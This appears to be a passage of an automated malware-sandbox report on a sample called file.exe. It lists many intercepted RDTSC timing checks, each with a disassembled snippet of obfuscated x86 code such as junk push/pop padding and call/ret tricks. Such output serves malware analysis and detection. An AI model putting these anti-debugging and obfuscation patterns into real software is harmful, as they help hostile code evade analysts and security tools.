Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F332D second address: 12F334C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4124h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2270 second address: 12F2276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F450A second address: 12F4515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FE350BA4116h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F334C second address: 12F3356 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE3507549A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2276 second address: 12F2322 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d add bx, 79E4h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FE350BA4118h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov ebx, dword ptr [ebp+122D1A31h] 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov eax, dword ptr [ebp+122D0E5Dh] 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007FE350BA4118h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 0000001Ch 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 mov edi, eax 0x00000062 push FFFFFFFFh 0x00000064 or dword ptr [ebp+122D222Ch], esi 0x0000006a nop 0x0000006b push eax 0x0000006c ja 00007FE350BA412Fh 0x00000072 pop eax 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 push edx 0x00000077 jg 00007FE350BA4116h 0x0000007d pop edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F33F9 second address: 12F3400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3400 second address: 12F3406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F83DE second address: 12F83E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3406 second address: 12F340A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FA9B3 second address: 12FA9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FA9B7 second address: 12FA9FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 pushad 0x00000008 adc dh, 00000013h 0x0000000b mov ecx, dword ptr [ebp+122D19BFh] 0x00000011 popad 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FE350BA4118h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 sub di, 3A22h 0x00000035 mov dword ptr [ebp+122D28BAh], ebx 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FD82E second address: 12FD843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FE3507549ACh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FABDB second address: 12FABE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FBAD2 second address: 12FBADC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE3507549A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FEACB second address: 12FEAD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FABE1 second address: 12FABE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF7E2 second address: 12FF7E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FBADC second address: 12FBAEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3507549AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FEAD8 second address: 12FEADE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF7E6 second address: 12FF845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FE3507549A8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov edi, dword ptr [ebp+122D395Fh] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007FE3507549A8h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 xor bx, 3694h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FBAEE second address: 12FBB08 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE350BA411Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF845 second address: 12FF849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF849 second address: 12FF863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4126h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FBB08 second address: 12FBBB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FE3507549A8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov ebx, edi 0x00000026 add dword ptr [ebp+122D1F74h], edx 0x0000002c push dword ptr fs:[00000000h] 0x00000033 mov bl, A9h 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c jmp 00007FE3507549ADh 0x00000041 mov eax, dword ptr [ebp+122D0A51h] 0x00000047 jne 00007FE3507549ADh 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push edi 0x00000052 call 00007FE3507549A8h 0x00000057 pop edi 0x00000058 mov dword ptr [esp+04h], edi 0x0000005c add dword ptr [esp+04h], 00000018h 0x00000064 inc edi 0x00000065 push edi 0x00000066 ret 0x00000067 pop edi 0x00000068 ret 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FE3507549B1h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF863 second address: 12FF86D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FE350BA4116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FBBB3 second address: 12FBBB8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300A6F second address: 1300A79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE350BA4116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300A79 second address: 1300A7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297B44 second address: 1297B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297B4C second address: 1297B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD6F1 second address: 12AD708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE350BA4121h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD708 second address: 12AD70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130948E second address: 13094C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FE350BA412Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D936 second address: 130D952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3507549B8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D952 second address: 130D958 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D077 second address: 130D09A instructions: 0x00000000 rdtsc 0x00000002 je 00007FE3507549A6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d jng 00007FE3507549DAh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE3507549ACh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D09A second address: 130D09E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D09E second address: 130D0AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D0AA second address: 130D0AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D0AE second address: 130D0B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D33E second address: 130D35D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE350BA4129h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D4A9 second address: 130D4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D4AD second address: 130D4BE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007FE350BA4116h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131097A second address: 1310984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE3507549A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1BD0 second address: 12A1BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE350BA411Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1BE4 second address: 12A1BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE3507549AAh 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317BBD second address: 1317BC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317BC2 second address: 1317BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3507549AAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FE3507549A6h 0x00000012 js 00007FE3507549A6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1318278 second address: 1318283 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007FE350BA4116h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13183E1 second address: 13183EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13183EE second address: 1318408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE350BA411Dh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1318816 second address: 131881C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131881C second address: 1318821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1318C14 second address: 1318C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E643 second address: 131E660 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE350BA411Fh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D29E second address: 131D2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jo 00007FE3507549A6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D2AD second address: 131D2EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FE350BA4122h 0x0000000f popad 0x00000010 push ebx 0x00000011 jmp 00007FE350BA411Fh 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D59C second address: 131D5A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D5A0 second address: 131D5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE350BA4123h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FE350BA411Fh 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE350BA411Bh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DF45 second address: 131DF49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DF49 second address: 131DF5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE350BA411Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DF5D second address: 131DF75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3507549AEh 0x00000009 jns 00007FE3507549A6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DF75 second address: 131DF88 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE350BA4116h 0x00000008 jbe 00007FE350BA4116h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E367 second address: 131E36B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E36B second address: 131E371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321A24 second address: 1321A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321A28 second address: 1321A32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321A32 second address: 1321A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321A38 second address: 1321A3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321A3C second address: 1321A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321A42 second address: 1321A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE350BA4128h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321A5E second address: 1321A98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007FE3507549D1h 0x00000013 pushad 0x00000014 jmp 00007FE3507549B7h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1329D8A second address: 1329D98 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE350BA4118h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1329D98 second address: 1329D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1329D9E second address: 1329DA4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328B1F second address: 1328B30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328B30 second address: 1328B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328B35 second address: 1328B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3507549AAh 0x00000009 jmp 00007FE3507549ABh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328B4E second address: 1328B52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328B52 second address: 1328B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3507549B8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328B75 second address: 1328B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7DFB second address: 12E7E09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FE3507549A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7EB5 second address: 12E7EFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FE350BA4116h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 39A97C52h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007FE350BA4118h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D2AF9h], edx 0x00000035 call 00007FE350BA4119h 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push eax 0x0000003e pop eax 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7EFE second address: 12E7F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8009 second address: 12E800E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E876A second address: 12E876E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E876E second address: 12E87E5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FE350BA411Dh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FE350BA4118h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push 0000001Eh 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007FE350BA4118h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 or ecx, dword ptr [ebp+122D393Fh] 0x0000004d nop 0x0000004e jmp 00007FE350BA4120h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
